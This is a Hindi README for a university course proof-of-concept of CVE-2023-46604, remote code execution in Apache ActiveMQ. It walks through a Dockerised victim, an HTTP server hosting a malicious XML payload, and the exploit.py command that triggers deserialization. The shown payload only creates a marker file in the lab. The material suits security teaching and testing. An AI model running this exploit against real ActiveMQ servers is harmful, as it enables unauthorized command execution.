
CVE-2023-46604 के लिए एक PoC, जो UPB में उन्नत साइबर सुरक्षा मास्टर्स के SPS क्लास के भाग के रूप में लिखा गया है।
असाइनमेंट: SSP Assignment 3 टीम: RCE You Later सदस्य: Banica Horia Alexandru, Comarlau Vlad-Constantin
पीओसी करने के लिए रेपो का उपयोग करने का वीडियो लिंक: https://www.youtube.com/watch?v=vum4qTF4ygU
इस रिपॉजिटरी में CVE-2023-46604 के लिए एक पूरी तरह से कार्यात्मक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शामिल है। यह कमजोरी एक हमलावर को एक दुर्भावनापूर्ण XML कॉन्फ़िगरेशन फ़ाइल को डिसीरियलाइज़ करने के लिए मजबूर करके कमजोर Apache ActiveMQ सर्वर (संस्करण 5.15.10) पर मनमानी शेल कमांड निष्पादित करने की अनुमति देती है।
लक्ष्य: यह साबित करने के लिए कि हमारा नियंत्रण है, पीड़ित सर्वर के अंदर pwned_by_ssp_team नाम की एक फ़ाइल बनाएं।
Exploit चलाने से पहले, सुनिश्चित करें कि आपके पास:
vulnerable-env/: पीड़ित सर्वर के Docker सेटअप को शामिल करता है।attacker/: एक्सप्लॉइट स्क्रिप्ट और दुर्भावनापूर्ण पेलोड शामिल करता है।
exploit.py: Python स्क्रिप्ट जो दुर्भावनापूर्ण पैकेट भेजती है।serve.py: XML पेलोड को होस्ट करने के लिए एक सरल HTTP सर्वर।poc.xml: दुर्भावनापूर्ण कॉन्फ़िगरेशन फ़ाइल जिसमें कमांड touch /tmp/pwned_by_ssp_team शामिल है।हम Docker का उपयोग करके ActiveMQ का एक पुराना, कमजोर संस्करण चलाएंगे।
vulnerable-env फ़ोल्डर पर जाएं:
cd vulnerable-env
docker-compose up -d
पीड़ित सर्वर को हमसे निर्देश डाउनलोड करने की आवश्यकता है। हम इन निर्देशों को होस्ट करने के लिए एक छोटा वेब सर्वर स्थापित करेंगे।
attacker फ़ोल्डर पर जाएं:
cd attacker
python3 serve.py
अब हम विशिष्ट नेटवर्क पैकेट भेजते हैं जो कमजोरी को ट्रिगर करता है।
एक तीसरा टर्मिनल खोलें।
attacker फ़ोल्डर पर जाएं:
cd attacker
एक्सप्लॉइट स्क्रिप्ट चलाएं।
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal को नेटवर्क ब्रिज के गेटवे, आमतौर पर: 172.17.0.1 से बदलें। यदि निर्धारित पता काम नहीं करता है तो इस तरह से पता प्राप्त करने का प्रयास करें: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'क्या यह काम किया? आइए देखें कि क्या कंटेनर के अंदर फ़ाइल बनाई गई थी।
/tmp फ़ोल्डर की जांच करने के लिए यह कमांड चलाएं:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team नाम की एक फ़ाइल दिखनी चाहिए।कमजोर कंटेनर को रोकने और हटाने के लिए:
cd vulnerable-env
docker-compose down